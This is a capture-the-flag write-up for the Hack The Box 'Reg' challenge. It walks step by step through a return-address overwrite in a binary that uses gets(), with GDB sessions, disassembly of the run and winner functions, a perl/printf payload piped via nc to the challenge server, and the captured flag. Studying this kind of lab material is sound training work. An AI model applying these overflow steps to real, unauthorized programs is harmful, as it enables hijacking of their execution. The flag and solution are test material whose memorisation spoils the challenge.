Reg overflow

```
flerb@ubuntu:~/Downloads$ ./reg AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Enter your name : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Registered!
Segmentation fault (core dumped)
flerb@ubuntu:~/Downloads$
```

Segfault on long input shows potential buffer overflow, format strings don't work

```
flerb@ubuntu:~/Downloads$ strings reg
/lib64/ld-linux-x86-64.so.2
fopen
puts
stdin
printf
fgets
stdout
fclose
stderr
alarm
setvbuf
__libc_start_main
libc.so.6
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
H=h@@
[]A\A]A^A_
Congratulations!
flag.txt
Enter your name :
Registered!
```

Ran reg in GDB, used a random human-generated-pseudo-random-string to find the value that was popped off the stack to be returned and caused the segfault, max input appears to be 56 characters and then it seems like whatever value we put there will be popped off.

```
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/flerb/Reg/reg asdifhasfliusdafkuyandfkusukndskufnasdfkuyndasfkuyasdnfaksudynfdsuakyfnsdayufnsadkfuynsaiufndskufnsad
Enter your name : afsuinfaskduyvnsdakuvynssdfunscvuyksncZYIunczxuynvszuynvAuvynacsvuynvzdfzvazUnfzsuynvzsyunzsdvyunszdv
Registered!

Program received signal SIGSEGV, Segmentation fault.
0x00000000004012ac in run ()
(gdb) x/s $rsp
0x7fffffffdf58: "AuvynacsvuynvzdfzvazUnfzsuynvzsyunzsdvyunszdv"
(gdb)
flerb@ubuntu: ~/Reg 252x24
flerb@ubuntu:~/Reg$ expr length afsuinfaskduyvnsdakuvynssdfunscvuyksncZYIunczxuynvszuynv
56
flerb@ubuntu:~/Reg$
```

Instruction pointer was pointing to 0x4012ac at the segfault re-confirming that the retq call is where the stack was popped for the return address

```
(gdb) x/i $rip
=> 0x4012ac <run+66>:   retq
(gdb)
  401269:       c3                      retq

000000000040126a <run>:
  40126a:       55                      push   %rbp
  40126b:       48 89 e5                mov    %rsp,%rbp
  40126e:       48 83 ec 30             sub    $0x30,%rsp
  401272:       b8 00 00 00 00          mov    $0x0,%eax
  401277:       e8 1a ff ff ff          callq  401196 <initialize>
  40127c:       48 8d 3d 9d 0d 00 00    lea    0xd9d(%rip),%rdi        # 402020 <_IO_stdin_used+0x20>
  401283:       b8 00 00 00 00          mov    $0x0,%eax
  401288:       e8 c3 fd ff ff          callq  401050 <printf@plt>
  40128d:       48 8d 45 d0             lea    -0x30(%rbp),%rax
  401291:       48 89 c7                mov    %rax,%rdi
  401294:       b8 00 00 00 00          mov    $0x0,%eax
  401299:       e8 e2 fd ff ff          callq  401080 <gets@plt>
  40129e:       48 8d 3d 8e 0d 00 00    lea    0xd8e(%rip),%rdi        # 402033 <_IO_stdin_used+0x33>
  4012a5:       e8 86 fd ff ff          callq  401030 <puts@plt>
  4012aa:       90                      nop
  4012ab:       c9                      leaveq
  4012ac:       c3                      retq
```

0x401206 is where the winner function is, so hopefully that's actually where we want to go.

```
0000000000401206 <winner>:
  401206:       55                      push   %rbp
  401207:       48 89 e5                mov    %rsp,%rbp
  40120a:       48 81 ec 10 04 00 00    sub    $0x410,%rsp
  401211:       48 8d 3d ec 0d 00 00    lea    0xdec(%rip),%rdi        # 402004 <_IO_stdin_used+0x4>
  401218:       e8 13 fe ff ff          callq  401030 <puts@plt>
  40121d:       48 8d 35 f1 0d 00 00    lea    0xdf1(%rip),%rsi        # 402015 <_IO_stdin_used+0x15>
  401224:       48 8d 3d ec 0d 00 00    lea    0xdec(%rip),%rdi        # 402017 <_IO_stdin_used+0x17>
  40122b:       e8 70 fe ff ff          callq  4010a0 <fopen@plt>
  401230:       48 89 45 f8             mov    %rax,-0x8(%rbp)
  401234:       48 8b 55 f8             mov    -0x8(%rbp),%rdx
  401238:       48 8d 85 f0 fb ff ff    lea    -0x410(%rbp),%rax
  40123f:       be 00 04 00 00          mov    $0x400,%esi
  401244:       48 89 c7                mov    %rax,%rdi
  401247:       e8 24 fe ff ff          callq  401070 <fgets@plt>
  40124c:       48 8d 85 f0 fb ff ff    lea    -0x410(%rbp),%rax
  401253:       48 89 c7                mov    %rax,%rdi
  401256:       e8 d5 fd ff ff          callq  401030 <puts@plt>
  40125b:       48 8b 45 f8             mov    -0x8(%rbp),%rax
  40125f:       48 89 c7                mov    %rax,%rdi
  401262:       e8 d9 fd ff ff          callq  401040 <fclose@plt>
  401267:       90                      nop
  401268:       c9                      leaveq
  401269:       c3                      retq
```

Just to re-confirm that's where we want the address and that nothing is changing:

```
Enter your name : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1234
Registered!

Program received signal SIGSEGV, Segmentation fault.
0x0000000034333231 in ?? ()
(gdb) x/i $rip
=> 0x34333231:  Cannot access memory at address 0x34333231
(gdb)
```

0x00 00 00 00 00 40 12 06 is the hex address we need:

```
flerb@ubuntu:~/Reg$ perl -e 'print "A" x 56' >> output
flerb@ubuntu:~/Reg$ cat output
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAflerb@ubuntu:~/Reg$
flerb@ubuntu:~/Reg$
flerb@ubuntu:~/Reg$ echo $(printf "\x06\x12\x40") >> output
flerb@ubuntu:~/Reg$ cat output
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@
flerb@ubuntu:~/Reg$ cat output | ./reg
Enter your name : Registered!
Congratulations!
Segmentation fault (core dumped)
flerb@ubuntu:~/Reg$
```

```
flerb@ubuntu:~/Reg$ cat output | nc -q 1 138.68.155.238 30770
Enter your name : Registered!
Congratulations!
HTB{N3W_70_pWn}
```